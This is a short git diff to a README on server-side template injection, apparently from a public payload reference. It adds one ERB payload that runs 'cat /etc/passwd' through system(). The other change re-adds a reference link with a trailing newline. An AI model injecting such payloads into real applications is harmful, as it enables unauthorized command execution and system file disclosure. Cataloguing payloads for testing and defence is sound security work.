diff --git a/Server Side Template Injection/README.md b/Server Side Template Injection/README.md
index 5998047b..687a319e 100644
--- a/Server Side Template Injection/README.md	
+++ b/Server Side Template Injection/README.md	
@@ -91,6 +91,11 @@ Slim:
 
 ### Code execution
 
+Execute code using SSTI for ERB engine.
+
+```ruby
+<%= system('cat /etc/passwd') %>
+```
 Execute code using SSTI for Slim engine.
 
 ```powershell
@@ -452,4 +457,4 @@ Fixed by https://github.com/HubSpot/jinjava/pull/230
 * [Gaining Shell using Server Side Template Injection (SSTI) - David Valles - Aug 22, 2018](https://medium.com/@david.valles/gaining-shell-using-server-side-template-injection-ssti-81e29bb8e0f9)
 * [EXPLOITING SERVER SIDE TEMPLATE INJECTION WITH TPLMAP - BY: DIVINE SELORM TSA - 18 AUG 2018](https://www.owasp.org/images/7/7e/Owasp_SSTI_final.pdf)
 * [Server Side Template Injection – on the example of Pebble - MICHAŁ BENTKOWSKI | September 17, 2019](https://research.securitum.com/server-side-template-injection-on-the-example-of-pebble/)
-* [Server-Side Template Injection (SSTI) in ASP.NET Razor - Clément Notin - 15 APR 2020](https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/)
\ No newline at end of file
+* [Server-Side Template Injection (SSTI) in ASP.NET Razor - Clément Notin - 15 APR 2020](https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/)